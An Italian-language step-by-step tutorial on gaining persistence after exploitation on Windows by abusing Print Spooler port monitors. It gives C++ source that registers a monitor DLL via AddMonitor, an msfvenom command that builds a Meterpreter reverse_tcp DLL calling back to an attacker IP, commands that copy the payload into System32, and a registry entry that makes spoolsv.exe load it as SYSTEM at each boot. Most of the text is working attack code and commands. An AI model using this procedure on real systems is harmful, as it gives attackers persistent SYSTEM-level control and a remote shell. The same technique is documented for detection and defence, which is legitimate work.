
Un vecchio modo per la persistenza.
Utilizzato per implementare la persistenza dei privilegi nella fase di post-exploitation.
Step1: Scaricare il progetto, quindi compilare Monitor.cpp con VS, ovviamente è possibile usare anche quello già compilato. Il codice di Monitor.cpp è il seguente:
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
Step 2: Generare il payload DLL d'attacco con Msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f dll > shell.dll

Step 3: Copiare shell.dll nella directory system32 dell'host target, quindi rinominarlo in test.dll (cioè il PDLLName di cui sopra, puoi anche modificarlo come preferisci, insomma è del tutto arbitrario).
copy C:\temp\shell.dll C:\Windows\System32\test.dll

Step 4: Successivamente, entrare nella directory system32 ed eseguire il seguente comando (Monitors.exe è il file compilato in precedenza e deve anch'esso essere collocato nella directory system32):
Monitors.exe

Step 5: Successivamente, la sessione Meterpreter viene ricevuta correttamente.

Per implementare la persistenza, dobbiamo impostare una chiave sotto la posizione di registro "Monitors":
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
Successivamente, eseguire il seguente comando dalla riga di comando per creare una voce di registro che conterrà il valore test.dll; dall'editor del registro, verificare che la chiave sia stata creata:
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

Al successivo riavvio, il processo spoolsv.exe caricherà tutti i file DLL dei driver presenti nella voce di registro Monitors e memorizzati nella cartella System32 di Windows. L'immagine seguente mostra che la sessione Meterpreter ha stabilito privilegi dello stesso livello del servizio Print Spooler (SYSTEM) ed è stata eseguita dalla cartella System32.
